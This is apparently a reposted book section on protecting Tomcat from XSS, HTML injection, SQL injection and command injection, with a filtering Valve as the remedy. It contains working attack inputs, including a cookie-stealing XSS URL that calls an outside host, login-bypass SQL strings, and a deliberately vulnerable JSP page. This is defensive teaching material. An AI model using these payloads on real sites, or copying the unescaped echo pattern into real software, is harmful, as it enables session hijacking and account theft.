6.6 Filtering Bad User Input
Regardless of what you use Tomcat for, if
untrusted users can submit requests to your Tomcat server, it is at
risk of being attacked by malicious users. Tomcat's
developers have endeavored to make Tomcat as secure as they can, but
ultimately it's Tomcat's
administrators who install and configure Tomcat, and
it's the web application developers who must develop
the web applications that operate within Tomcat. As secure as Tomcat
is, it's still easy to write an insecure web
application. However, just writing an application that does what it
needs to do is difficult. Knowing all of the ways that malicious
users could exploit the web application code (and how to prevent that
exploitation from happening) probably isn't the web
developers' main focus.
Unfortunately, if the web application itself is not specifically
written to be secure, Tomcat may not be secure either. There are a
small number of known web application security exploits that can
compromise a web site's security. For that reason,
anyone administering a Tomcat installation should not assume that
Tomcat has already taken care of all of the security concerns!
Configuring Tomcat to use a security manager helps to secure these
web applications and installing Tomcat in a chroot
jail sets OS kernel-level restrictions that are hard to break out of,
but doing those things doesn't magically fix all
vulnerabilities. Some exploits will still work, depending on the
features of the applications you run.
If you administer one or more Tomcat installations that run untrusted
web applications from customers or other groups of people, or if you
run web applications that you did not write and do not have the
source code for, you probably can't change the
applications, regardless of whether they're secure.
You may be able to choose not to host them on your servers, but
fixing the application code to be secure is rarely an option. Even
worse, if you host multiple web applications in a single running
instance of Tomcat and one of the applications has security
vulnerabilities, the vulnerable application could make
all of your web applications insecure. As the
administrator, you should do what you can to filter bad user input
before it reaches the potentially vulnerable web applications, and
you should be proactive about researching known security
vulnerabilities that may affect your servers.
In this section, we show you the details of some well-known web
application security vulnerabilities and some suggested workarounds,
and then show you some filter code that you can install and use to
protect your Tomcat instances.
6.6.1 Vulnerabilities
Let's look at the details of some of the web
application security exploits. These exploits are all remote-user
exploits, which means a malicious remote user sends carefully crafted
request data to Tomcat in an attempt to circumvent the web
application's security. But, if you can filter out
the bad data, you can prevent the attacks from succeeding.
6.6.1.1 Cross-site scripting
This is one of the most commonly
known web application security exploits. Simply put, cross-site
scripting (XSS) is the act of writing malicious web browser scripting
code and tricking another user's web browser into
running it, all by way of a third party's web server
(such as your Tomcat). XSS attacks are possible when a web
application echoes back user-supplied request data without first
filtering it. XSS is most common when the web application is being
accessed by users with web browsers that support scripting languages
(e.g., JavaScript or VBScript). Usually, XSS attacks attempt to steal
a user's session cookie value, which the attacker
then uses to log into the web site as the user who owned the cookie,
obtaining full access to the victim's capabilities
and identity on that web site. This is commonly referred to as HTTP
session hijacking.
Here's one example of how XSS could be used to
hijack a user's session. A web site (called
www.example.com for the purpose of this example)
running on Tomcat is set up to allow users to browse the web site and
read discussion forums. In order to post a message to the discussion
forum, the site requires that users log in, but it offers free
account registration. Once logged in, a user can post messages in
discussion forums and do other things on the site, such as online
shopping. A malicious attacker notices that the web site supports a
search function that echoes back user search query strings, and it
does not filter or escape any special characters that users supply in
the search query strings. That is, if users search for
"foo", they get a list of all pages
that refer to "foo". However, if
there are no search results for
"foo", the server says something
like "Could not find any documents including
`foo'."
The attacker then tries a search query like this:
<b>foo</b>
The site replies back:
Could not find any documents including 'foo'.
Notice that the search result message interpreted the bold tags that
were typed into the search query string as HTML, rather than text!
Then, the user tries this query string:
<script language='javascript'>alert(document.cookie)</script>
If the server echoes this back to the web browser verbatim, the web
browser will see the query string content as regular HTML containing
an embedded script that opens an alert dialog window. This window
shows any and all HTTP cookies (including their values) that apply to
this web page. If the web site does this, and the user has a session
cookie, the attacker knows the following things:
The web application is usable for XSS attacks because it
doesn't adequately filter user input, at least on
this page.
It is possible to use this web site to relay a small JavaScript
program that will run on another user's web browser.
It is possible to use this web site to obtain another
user's login session cookie and do something with
that cookie's value.
The attacker then writes a very short JavaScript program that takes
the session cookie and sends it to the attacker's
machine for inspection. For example, if the attacker hacked into an
account on the www.groovywigs.com server and
wanted to inspect a victim's cookie on that machine,
he could write a JavaScript program that sends the
victim's session cookie value to that account like
this:
<script language="javascript">document.location="http://www.groovywigs.com/foo" +
document.cookie</script>
Once run, this script makes a JavaScript-enabled web browser send the
session cookie value to www.groovywigs.com.
To execute this script, the attacker finds out how search parameters
are sent to the vulnerable site's search engine.
This is most likely done through simple request parameters, and the
relevant URL looks something like this:
http://www.example.com/search?query=foo
By using that example, the malicious user then creates a URL that
includes his script and sends a victim's browser to
a place where the attacker can inspect the victim's
session cookie:
http://www.example.com/search?query=<script language="javascript">document.
location="http://www.groovywigs.com/foo" + document.cookie</script>
Then, using URL encoding, the malicious user disguises the same URL
content:
http://www.example.com/search?query=%3Cscript+language%3D%22javascript%22%3Edocument.
location%3D%22http%3A%2F%2Fwww.groovywigs.com%2Ffoo%22+%2B+document.
cookie%3C%2Fscript%3E
This URL does the same thing as the previous URL, but it is less
human-readable. By further encoding some of the other items in the
URL, such as "javascript" and the
"document.cookie" strings, the attacker can make
it even harder to recognize the URL as an XSS-attack URL.
The attacker then finds a way to get this XSS exploit link into one
or more of the web site users' web browsers.
Usually, the more users that the attacker can give the link to, the
more victims there are to exploit. So, sending it in a mailing list
email or posting it to a discussion forum on the web site will get
lots of potential victims looking at it�and some will click on
it. The attacker creates a fake user account on the
www.example.com web site using fake personal
data (verified with a fake email account from which he can send a
verification reply email). Once logged into the web site with this
new fake user account, the attacker posts a message to the discussion
forum that includes the link. Then, the attacker logs out and waits,
watching the access logs of the
www.groovywigs.com web server he is hacked into.
If a logged-in user of www.example.com clicks on
the link, her session cookie value will show up in the access log of
www.groovywigs.com. Once the attacker has this
cookie value, he can use this value to access the account of the
victim without being prompted to log into the site.
|
How the user makes her web browser use this cookie value is different
for every brand of web browser, and can even vary across versions of
the same brand of browser, but there's always a way
to use it.
|
|
The worst case scenario here is for the web site to store sensitive
information such as credit card numbers (for the online shopping
portions of the web site) and have them compromised because of an XSS
attack. It's possible that the attacker could
silently record the credit card information without the users on this
site knowing that it happened, and the administrators of
www.example.com would never know that they are
the source of the information leak.
A large number of popular web sites are vulnerable to XSS exploits.
They may not make it as easy as the previous example, but if
there's a spot in a web application where unfiltered
input is echoed back to a user, then XSS exploits can be devised. On
some sites, it's not even necessary for the attacker
to have a valid user account in order to use an XSS exploit. Web
servers with web applications that are vulnerable to XSS attacks are
written in all programming languages (including Java) and run on any
operating system. It's a generic and widespread web
browser scripting problem, and it's a problem on the
server side that comes mainly from not validating and filtering bad
user input.
What can you do as a Tomcat administrator to help fix the problem?
Configure Tomcat to use the BadInputFilterValve
shown in Section 6.6.2, later in
this chapter. This Valve is written to escape
certain string patterns from the GET and
POST parameter names and values so that most XSS
exploits fail to work, without modifying or disabling your web
applications.
In cases where Tomcat Valves
aren't available, rework your applications so that
they validate user input by escaping special characters and filtering
out vulnerable string patterns, much like the
BadInputFilterValve does.
Read the XSS-related web pages referenced in the Section 6.6.3 of this chapter, and
learn about how these exploits work. Filter all user request data for
anything that could cause a user's web browser to
run a user-supplied script. This includes GET and
POST parameters (both the names and the values),
HTTP request header names and their values (including cookies), and
any other URL fragments, such as URI path info.
Read about other suggested solutions to XSS attacks around the Web,
and look into whether they would help you. This will probably help
you stay up-to-date on potential solutions.
Use only HTTPS and CLIENT-CERT authentication, or implement some
other method of session tracking that doesn't use
HTTP cookies. Doing this should thwart any XSS attack that attempts
to hijack a user's session by stealing the session
cookie value.
As usual, there's no way to filter and catch 100% of
the XSS exploit content, but you can certainly protect against most
of it.
6.6.1.2 HTML injection
This
vulnerability is also caused by improper user input validation and
filtering. HTML injection is the act of writing and inserting HTML
content into a site's web pages so that other users
of the web site see things that the administrators and initial
authors of the web site didn't intend to publish.
This content does not include any scripting code, such as JavaScript
or VBScript�that is what a cross-site scripting exploit does.
This vulnerability is about plain HTML.
|
Some advisory pages call this "HTML
insertion."
|
|
Here are some examples of what a malicious user could use HTML
injection to do, depending on what features the vulnerable web site
offers:
Trick the web site's users into submitting their
username and password to an attacker's server by
inserting a malicious HTML form (a "Trojan
horse" HTML injection attack).
Include a remotely-hosted malicious web page in its entirety within
the vulnerable site's web page (for example, using
an inner frame). This can cause a site's users to
think that the attacker's web page is part of the
site and unknowingly disclose sensitive data.
Publish illegal or unwanted data on a web site without the owners of
the web site knowing. This includes defacing a web site, placing a
collection of pirate or illegal data links (or even illegal data
itself) on a site, etc.
Most web sites that are vulnerable to HTML injection allow (at a
minimum) an attacker to use an HTTP GET request to
place as much data on the vulnerable site as the HTTP client will
allow in a single URL, without the attacker being logged into the
vulnerable site. Like with XSS attacks, the attacker can send these
long URLs in email or place them on other web pages for users to find
and use. Of course, the longer the URL, the less likely it is that
people will click on them, unless the link's URL is
obscured from their view (for instance, by placing the long URL in an
HTML href link).
Needless to say, this vulnerability is a serious one. Surprisingly,
we weren't able to find much information on the Web
that was solely about HTML injection and not about XSS as well. This
is largely because most HTML injection vulnerabilities in web
applications can also be used for XSS. However, many sites that
protect against XSS by filtering on tags such as
<script> are still completely vulnerable to
HTML injection.
What can you do as a Tomcat administrator to help fix the problem?
Configure Tomcat to use the BadInputFilterValve
shown in Section 6.6.2, later in
this chapter.
If you can't install any Tomcat
Valves, rework your applications so that they
validate user input by escaping special characters and filtering out
vulnerable string patterns, much like the
BadInputFilterValve does.
Filter all user request data for the < and
> characters, and if they're
found, translate them to < and
>, respectively. This includes
GET and POST parameters (both
the names and the values), HTTP request header names and their values
(including cookies), and other URL fragments, such as URI path
information.
Run only web applications that do not allow users to input HTML for
display on the site's web pages.
Once you think your site is no longer vulnerable, move on to
researching as many different kinds of XSS attacks as you can find
information about, and try to filter those as well, since many
obscure XSS vulnerabilities can cause more HTML injection
vulnerabilities.
6.6.1.3 SQL injection
In
comparison to XSS and HTML injection, SQL injection vulnerabilities
are quite a bit rarer and more obscure. SQL injection is the act of
submitting malicious SQL query string fragments in a request to a
server (usually an HTTP request to a web server) in order to
circumvent database-based security on the site. SQL injection can
also be used to manipulate a site's SQL database in
a way that the site's owners and authors
didn't anticipate (and probably
wouldn't like). This type of attack is possible when
a site allows user input in SQL queries and has improper or
nonexistent validation and filtering of that user input.
|
This vulnerability is also known as "SQL
insertion."
|
|
The only way that server-side Java code can be vulnerable to this
kind of an attack is when the Java code doesn't use
JDBC PreparedStatements. If
you're sure that your web application uses
only JDBC PreparedStatements,
it's unlikely your application is vulnerable to SQL
injection exploits. This is because
PreparedStatements do not allow the logic
structure of a query to be changed at variable insertion time, which
is essential for SQL insertion exploits to work. If your web
application drives non-Java JDBC code that runs SQL queries, then
your application may also be vulnerable. Aside from
Java's PreparedStatements (and
any corresponding functionality in other programming languages), SQL
injection exploits can work on web applications written in any
language for any SQL database.
Here's an example of a SQL injection vulnerability.
Let's say your web application is written in Java
using JDBC Statements and not
PreparedStatements. When a user attempts to log
in, your application creates a SQL query string using the username
and password to see if the user exists in the database with that
password. If the username and password strings are stored in
variables named username and
password, for example, you might have code in your
web application that looks something like this:
// We already have a connection to the database. Create a Statement to use.
Statement statement = connection.createStatement( );
// Create a regular String containing our SQL query for the user's login,
// inserting the username and password into the String.
String queryString = "select * from USER_TABLE where USERNAME='" +
username + "' and PASSWORD='" + password + "';";
// Execute the SQL query as a plain String.
ResultSet resultSet = statement.executeQuery(queryString);
// A resulting row from the db means that the user successfully logged in.
So, if a user logged in with the username of
"jasonb" and a password of
"guessme", the following code would
assign this string value to queryString:
select * from USER_TABLE where USERNAME='jasonb' and PASSWORD='guessme';
The string values of the username and
password variables are concatenated into the
queryString, regardless of what they contain. For
the purposes of this example, let's also assume that
the application doesn't yet do any filtering of the
input that comes from the username and password web page form fields
before including that input in the queryString.
Now that you understand the vulnerable setup, let's
examine the attack. Consider what the queryString
would look like if a malicious user typed in a username and password
like this:
Username: jasonb
Password: ' or '1'='1
The resulting queryString would be:
select * from USER_TABLE where USERNAME='jasonb' and PASSWORD='' or '1'='1';
Examine this query closely: while there might not be a user in the
database named jasonb with an empty password,
'1' always equals '1', so the
database happily returns all rows in the
USER_TABLE. The web application code will probably
interpret this as a valid login since one or more rows were returned.
An attacker won't know the exact query being used to
check for a valid login, so it may take some guessing to get the
right combination of quotes and Boolean logic, but eventually a
clever attacker will break through.
Of course, if the quotation marks are escaped before they are
concatenated into the queryString, it becomes much
harder to insert additional SQL logic into the
queryString. Further, if whitespace
isn't allowed in these fields, it
can't be used to separate logical operators in the
queryString. Even if the application
doesn't use PreparedStatements,
there are still ways of protecting the site against SQL injection
exploits�simply filtering out whitespace and quotes makes SQL
injection much more difficult to accomplish.
Another thing to note about SQL injection vulnerabilities is that
each brand of SQL database has different features, each of which
might be exploitable. For instance, if the web application runs
queries against a MySQL database, and MySQL allows the
# character to be used as a comment marker, an
attacker might enter a username and password combination like this:
Username: jasonb';#
Password: anything
The resulting queryString would look like this:
select * from USER_TABLE where USERNAME='jasonb';# and PASSWORD='anything';
Everything after the # becomes a comment, and the
password is never checked. The database returns the row
where USERNAME='jasonb', and the application
interprets that result as a valid login. On other databases, two
dashes (--) mark the beginning of a comment and
could be used instead of #. Additionally, single
or double quotes are common exploitable characters.
There are even rare cases where SQL injection exploits call stored
procedures within a database, which then can perform all sorts of
mischief. This means that even if Tomcat is installed in a secure
manner, the database may still be vulnerable to attack through
Tomcat, and one might render the other insecure if
they're both running on the same server computer.
What can you do as a Tomcat administrator to help fix the problem?
Configure Tomcat to use the BadInputFilterValve
shown in Section 6.6.2, later in
this chapter.
If you can't install any Tomcat
Valves, rework your web application to use only
PreparedStatements and to validate user input by
escaping special characters and filtering out vulnerable string
patterns, much like the BadInputFilterValve does.
Filter all user request data for the single and double quote
characters, and if they're found, translate them to
' and ",
respectively. This includes GET and
POST parameters (both the names and the values),
HTTP request header names and their values (including cookies), and
any other URL fragments, such as URI path info.
6.6.1.4 Command injection
Command injection is the act of
sending a request to a web server that will run on the
server's command line in a way that the authors of
the web application didn't anticipate in order to
circumvent security on the server. This vulnerability is found on all
operating systems and server software that run other command-line
commands to perform some work as part of a web application. It is
caused by improper or nonexistent validation and filtering of the
user input before passing the user input to a command-line command as
an argument.
There is no simple way to determine whether your application is
vulnerable to command injection exploits. For this reason,
it's a good idea to always validate user input.
Unless your web application uses the CGIServlet or
invokes command-line commands on its own, your web application
probably isn't vulnerable to command injection
exploits.
In order to guard against this vulnerability, most special characters
must be filtered from user input, since command shells accept and use
so many special characters. Filtering these characters out of all
user input is usually not an option because some parts of web
applications commonly need some of the characters that must be
filtered. Escaping the backtick, single quote, and double quote
characters is probably good across the board, but for other
characters it may not be so simple. To account for a specific
application's needs, you might need custom input
validation code.
What can you do as a Tomcat administrator to help fix the problem?
Configure Tomcat to use the BadInputFilterValve
shown in Section 6.6.2.
If you can't install any Tomcat
Valves, rework your web applications so that they
validate user input by escaping special characters and filtering out
vulnerable string patterns, much like the
BadInputFilterValve does.
Filter all user request data, and allow only the following list of
characters to pass through unchanged:
"0-9A-Za-z@-_:".
All other characters should not be allowed. This
includes GET and POST
parameters (both the names and the values), HTTP request header names
and their values (including cookies), and any other URL fragments,
such as URI path info.
6.6.2 HTTP Request Filtering
Now that
you've seen the details of some different exploit
types and our suggested solutions, we show you how to install and
configure code that will fix most of these problems.
In order to easily demonstrate the problem, and to test a solution,
we've coded up a single JSP page that acts like a
common web application, taking user input and showing a little
debugging information. Example 6-4 shows the JSP
source of the input_test.jsp page.
Example 6-4. JSP source of input_test.jsp
<html>
<head>
<title>Testing for Bad User Input</title>
</head>
<body>
Use the below forms to expose a Cross-Site Scripting (XSS) or
HTML injection vulnerability, or to demonstrate SQL injection or
command injection vulnerabilities.
<br><br>
<!-- Begin GET Method Search Form -->
<table border="1">
<tr>
<td>
Enter your search query (method="get"):
<form method="get">
<input type="text" name="queryString1" width="20"
value="<%= request.getParameter("queryString1")%>"
>
<input type="hidden" name="hidden1" value="hiddenValue1">
<input type="submit" name="submit1" value="Search">
</form>
</td>
<td>
queryString1 = <%= request.getParameter("queryString1") %><br>
hidden1 = <%= request.getParameter("hidden1") %><br>
submit1 = <%= request.getParameter("submit1") %><br>
</td>
</tr>
</table>
<!-- End GET Method Search Form -->
<br>
<!-- Begin POST Method Search Form -->
<table border="1">
<tr>
<td>
Enter your search query (method="post"):
<form method="post">
<input type="text" name="queryString2" width="20"
value="<%= request.getParameter("queryString2")%>"
>
<input type="hidden" name="hidden2" value="hiddenValue2">
<input type="submit" name="submit2" value="Search">
</form>
</td>
<td>
queryString2 = <%= request.getParameter("queryString2") %><br>
hidden2 = <%= request.getParameter("hidden2") %><br>
submit2 = <%= request.getParameter("submit2") %><br>
</td>
</tr>
</table>
<!-- End POST Method Search Form -->
<br>
<!-- Begin POST Method Username Form -->
<table border="1">
<tr>
<td width="50%">
<% // If we got a username, check it for validity.
String username = request.getParameter("username");
if (username != null) {
// Verify that the username contains only valid characters.
boolean validChars = true;
char[] usernameChars = username.toCharArray( );
for (int i = 0; i < username.length( ); i++) {
if (!Character.isLetterOrDigit(usernameChars[i])) {
validChars = false;
break;
}
}
if (!validChars) {
out.write("<font color=\"red\"><b><i>");
out.write("Username contained invalid characters. ");
out.write("Please use only A-Z, a-z, and 0-9.");
out.write("</i></b></font><br>");
}
// Verify that the username length is valid.
else if (username.length( ) < 3 || username.length( ) > 9) {
out.write("<font color=\"red\"><b><i>");
out.write("Bad username length. Must be 3-9 chars.");
out.write("</i></b></font><br>");
}
// Otherwise, it's valid.
else {
out.write("<center><i>\n");
out.write("Currently logged in as <b>" + username + "\n");
out.write("</b>.\n");
out.write("</i></center>\n");
}
}
%>
Enter your username [3-9 alphanumeric characters]. (method="post"):
<form method="post">
<input type="text" name="username" width="20"
value="<%= request.getParameter("username")%>"
>
<input type="hidden" name="hidden3" value="hiddenValue3">
<input type="submit" name="submit3" value="Submit">
</form>
</td>
<td>
username = <%= request.getParameter("username") %><br>
hidden3 = <%= request.getParameter("hidden3") %><br>
submit3 = <%= request.getParameter("submit3") %><br>
</td>
</tr>
</table>
<!-- End POST Method Username Form -->
</body>
</html>
Copy the input_test.jsp file into your
ROOT web application:
# cp input_test.jsp $CATALINA_HOME/webapps/ROOT/
Access the page at http://localhost:8080/input_test.jsp. When it
loads, it should look like Figure 6-3.
The forms on the page contain two mock search query forms and one
mock username entry form. The two search query forms are basically
the same, but one uses HTTP GET and the other uses
HTTP POST. Additionally, their parameters are
numbered differently so that we can play with both forms at once and
keep their parameter values from interfering with each other. The
page does absolutely no input validation for the search query forms,
but it does perform input validation for the username form. All of
the forms on the page automatically repopulate themselves with the
last submitted value (or null if there
isn't any last value).
Try entering data into the forms to expose the
page's vulnerabilities. Here are some examples:
Enter <script
language="javascript">alert(document.cookie)</script>
into one of the search fields to display your own session cookie by
way of XSS.
Enter <iframe
src=http://jakarta.apache.org></iframe> into one
of the search fields to demonstrate that an HTML injection exploit
would work.
Try entering "><input type="hidden" name="hidden3"
value="SomethingElse"> into the username field, and then
enter foo and submit again. Notice that on the
second submittal, the value of hidden3 changed to
SomethingElse. That's a
demonstration of incomplete input validation, plus parameter
manipulation.
Enter a username of jasonb' OR ''=' and note that
it does indeed set the username parameter to that
string, which could take advantage of an SQL injection vulnerability
(depending on how the application's database code is
written).
For each input field in your web application, make an exact list of
all of the characters that your application needs to accept as user
input. Accept only those characters, and filter
everything else out. That approach seems safest. Although, if the
application accepts a lot of special characters, you may end up
allowing enough for various exploits. To work around these cases, you
can use exploit pattern search and replace filtering (for instance,
regular expression search and replace), but usually only for exploits
that you know about in advance. Fortunately, we have information
about several common web application security exploits for which we
can globally filter.
If you globally filter all request information for regular expression
patterns that you know are used mostly for exploits, you can modify
the request before it reaches your code and stop the known exploits.
Upon finding bad request data, you should either forbid the request
or escape the bad request data. That way, applications
don't need to repeat the filter code, and the
filtering can be done globally with a small number of administration
and maintenance points. You can achieve this kind of global filtering
by installing a custom Tomcat Valve.
Tomcat Valves offer
a way to plug code into Tomcat and have that code run at various
stages of request and response processing, with the web application
content running in the middle (i.e., after the request processing and
before the response processing). Valves are not
part of a web application, but are code modules that run as if they
were part of Tomcat's servlet container itself.
Another great thing about Valves is that a Tomcat
administrator can configure a Valve to run for all
deployed web applications or for a particular web
application�whatever scope is needed for the desired effect.
Appendix D contains the complete source code for
BadInputFilterValve.java.
|
BadFilterValve filters only parameter names and
values. It does not filter header names or
values, or other items (such as path info) that could contain
exploitation data. Filtering the parameters will do for most attacks,
but not for all, so beware.
|
|
BadInputFilterValve filters various bad input
patterns and characters in order to stop XSS, HTML injection, SQL
injection, and command injection exploits. Table 6-2 shows the allowed attributes of the
BadInputFilterValve, for use in your
server.xml configuration file.
Table 6-2. BadInputFilterValve attributes
|
className
|
The Java class name of this Valve implementation;
must be set to
com.oreilly.tomcat.valves.BadInputFilterValve.
|
debug
|
Debugging level, where 0 is none, and positive
numbers result in increasing detail. The default is
0.
|
escapeQuotes
|
Determines whether this Valve will escape any
quotes (both double and single quotes) that are part of the request,
before the request is performed. Defaults to true.
|
escapeAngleBrackets
|
Determines whether this Valve will escape any
angle brackets that are part of the request, before the request is
performed. Defaults to true.
|
escapeJavaScript
|
Determines whether this Valve will escape any
potentially dangerous references to JavaScript functions and objects
that are part of the request. Defaults to true.
|
allow
|
A comma-delimited list of the allowed regular expressions configured
for this Valve, if any.
|
deny
|
A comma-delimited list of the disallowed regular expressions
configured for this Valve, if any.
|
To compile the Valve, first set the
CATALINA HOME environment variable, and then
create a directory for the class in
$CATALINA_HOME/server/classes, like this:
# export CATALINA_HOME=/usr/local/jakarta-tomcat-4.1.24
# mkdir -p $CATALINA_HOME/server/classes/com/oreilly/tomcat/valves
Then, copy the file into this directory and compile it:
# cd $CATALINA_HOME/server/classes
# javac -classpath $CATALINA_HOME/server/lib/catalina.jar:$CATALINA_HOME/common/lib/
servlet.jar:$CATALINA_HOME/server/lib/jakarta-regexp-1.2.jar -d $CATALINA_HOME/
server/classes com/oreilly/tomcat/valves/BadInputFilterValve.java
Once the class is compiled, remove the source from the Tomcat
directory tree:
# rm com/oreilly/tomcat/valves/BadInputFilterValve.java
Then, configure the Valve in your
server.xml. Edit your
$CATALINA_HOME/conf/server.xml file and add a
declaration to your default Context, like this:
<Context path="" docBase="ROOT" debug="0">
<Valve className="com.oreilly.tomcat.valves.BadInputFilterValve"
deny="\x00,\x04,\x08,\x0a,\x0d"/>
</Context>
Then, stop and restart Tomcat:
# /etc/rc.d/init.d/tomcat4 stop
# /etc/rc.d/init.d/tomcat4 start
It's okay if you get the following errors in your
catalina.out log on startup and shutdown:
ServerLifecycleListener: createMBeans: MBeanException
java.lang.Exception: ManagedBean is not found with BadInputFilterValve
You may also get errors like this:
ServerLifecycleListener: destroyMBeans: Throwable
javax.management.InstanceNotFoundException: MBeanServer cannot find MBean with
ObjectName Catalina:type=Valve,sequence=5461717,path=/,host=localhost,service=Tomcat-
Standalone
That's just the JMX management code saying that it
doesn't know how to manage this new
Valve, which is okay.
Now that you've installed the
BadInputFilterValve, your
input_test.jsp page should be immune to all XSS,
HTML injection, SQL injection, and command injection exploits. Try
submitting the same exploit parameter contents as before. This time,
it will escape the exploit characters and strings instead of
interpreting them.
6.6.3 See Also
- General information about filtering bad user input
http://www.owasp.org/asac/input_validation
http://www.cgisecurity.com
- Cross-site scripting (XSS)
http://www.cert.org/advisories/CA-2000-02.html
http://www.idefense.com/idpapers/XSS.pdf
http://www.cgisecurity.com/articles/xss-faq.shtml
http://www.ibm.com/developerworks/security/library/s-csscript/?dwzone=security
http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0003.html
http://www.owasp.org/asac/input_validation/css.shtml
http://httpd.apache.org/info/css-security/
http://apache.slashdot.org/article.pl?sid=02/10/02/1454209&mode=thread&tid=128
- HTML injection
http://www.securityps.com/resources/webappsec_overview/img18.html
- SQL injection
http://www.securiteam.com/securityreviews/5DP0N1P76E.html
http://www.owasp.org/asac/input_validation/sql.shtml
- Command injection
http://www.owasp.org/asac/input_validation/os.shtml
- Path traversal
http://www.owasp.org/asac/input_validation/pt.shtml
- Metacharacters
http://www.owasp.org/asac/input_validation/nulls.shtml
http://www.owasp.org/asac/input_validation/meta.shtml
- Open source web application security tools
http://www.owasp.org
|
No comments:
Post a Comment